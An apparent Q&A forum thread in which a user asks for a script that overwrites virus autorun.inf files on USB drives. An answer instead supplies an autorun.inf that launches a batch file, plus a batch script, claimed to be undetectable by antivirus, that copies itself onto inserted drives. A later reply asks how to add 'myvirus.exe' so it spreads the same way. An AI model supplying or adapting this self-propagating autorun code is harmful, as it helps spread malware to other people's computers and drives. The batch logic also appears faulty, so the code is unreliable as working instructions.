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How can i create a script or whatever that automatically copies a file to the USB drives i insert(like the virus does)?? Answered

what i am trying to do is this:all the new viruses are coming through Flash USB drives!they have a file called autorun.inf that makes ur double click on the drive start the visrus..and when its in it will copy iself to all the new drivres u insert..i want to use the same technique to outsmart them!i want a program or script that starts with windows and like these viruses it automatically copies a file called autorun.inf to any newly inserted drive..yet this autorun is a file created by me and its empty..copying this file to the new drives will overwrite the infectious autorun.inf...this way no virus will infect my PC!!!Pls help,thx in prior

3 Replies

user
mbuddeBest Answer (author)2009-07-16
user
erikals (author)2009-08-15

heres the code for the autorun.inf

autorun (put this in square brackets)
OPEN=test.bat
shellexecute=test.bat
shell=Auto
shell\Auto=&AutoPlay
shell\Auto\command=test.bat

Heres the code for the test.bat
(undetectable by any antivirus program you may have)

@echo off
:1
set drive=D:\
IF EXIST %drive% goto copy
set drive=E:\
IF EXIST %drive% goto copy
set drive=F:\
IF EXIST %drive% goto copy
set drive=G:\
IF EXIST %drive% goto copy
set drive=H:\
IF EXIST %drive% goto copy
set drive=I:\
IF EXIST %drive% goto copy
set drive=J:\
IF EXIST %drive% goto copy
set drive=K:\
IF EXIST %drive% goto copy
set drive=L:\
IF EXIST %drive% goto copy
set drive=M:\
IF EXIST %drive% goto copy
set drive=N:\
IF EXIST %drive% goto copy
set drive=O:\
IF EXIST %drive% goto copy
set drive=P:\
IF EXIST %drive% goto copy
set drive=Q:\
IF EXIST %drive% goto copy
set drive=R:\
IF EXIST %drive% goto copy
set drive=S:\
IF EXIST %drive% goto copy
set drive=T:\
IF EXIST %drive% goto copy
set drive=U:\
IF EXIST %drive% goto copy
set drive=V:\
IF EXIST %drive% goto copy
set drive=W:\
IF EXIST %drive% goto copy
set drive=X:\
IF EXIST %drive% goto copy
set drive=Y:\
IF EXIST %drive% goto copy
set drive=Z:\
IF EXIST %drive% goto copy
IF NOT EXIST %drive% goto 1
exit

:copy
IF EXIST .\autorun.inf goto bad
IF EXIST .\test.bat goto bad
copy /Y autorun.inf .\
copy /Y test.bat .\
start %drive%

:bad
goto 1

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user
jademanworld (author)erikals2015-08-20

Hi, just a quick question.

If i add this -- myvirus.exe

To this--

:copy

IF EXIST .\autorun.inf goto bad

IF EXIST .\test.bat goto bad

copy /Y autorun.inf .\

copy /Y test.bat .\

start %drive%

To make it look like this--

:copy

IF EXIST .\autorun.inf goto bad

IF EXIST .\test.bat goto bad

IF EXIST .\myvirus.exe goto bad

copy /Y autorun.inf .\

copy /Y test.bat .\

copy /Y myvirus.exe .\

start %drive%

Would that make it copy my virus to all new drives inserted too?

Thanks in advance.

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